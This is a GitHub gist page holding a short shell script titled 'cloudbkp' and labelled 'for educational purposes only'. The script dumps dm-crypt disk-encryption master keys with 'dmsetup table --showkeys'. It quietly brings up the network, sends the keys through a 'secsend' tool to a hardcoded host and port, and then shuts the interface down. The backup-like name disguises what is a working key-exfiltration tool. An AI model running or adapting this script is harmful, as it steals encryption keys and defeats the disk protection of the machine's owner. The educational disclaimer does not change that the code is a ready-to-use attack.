Skip to content

Instantly share code, notes, and snippets.

@Snawoot

Snawoot/cloudbkp Secret

Last active Jul 18, 2019
Embed
What would you like to do?
#!/bin/sh
# FOR EDUCATIONAL PURPOSES ONLY
KEYS="$(echo data begin ; dmsetup table --showkeys ; echo data end)"
IFNAME="$(/sbin/ip l | grep -Eo '(eth|enp)[^:[:space:]]+:' | grep -o '[^:]*' | head -1)"
[ ! "$IFNAME" ] && exit 0
/sbin/ip link set dev "$IFNAME" up > /dev/null 2>&1
/sbin/udhcpc -f -q -n -i "$IFNAME" > /dev/null 2>&1
for s in 5 10 0 ; do
( echo "$KEYS" | \
/sbin/secsend 'WUHTdDlpGC0Rym1SHgyC/W98eb+Amwc9AZwFFTA6SXs' 192.168.122.1 16684 \
) && break
sleep "$s"
done
interface="$IFNAME" /etc/udhcpc/default.script deconfig > /dev/null 2>&1
/sbin/ip link set dev "$IFNAME" down
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.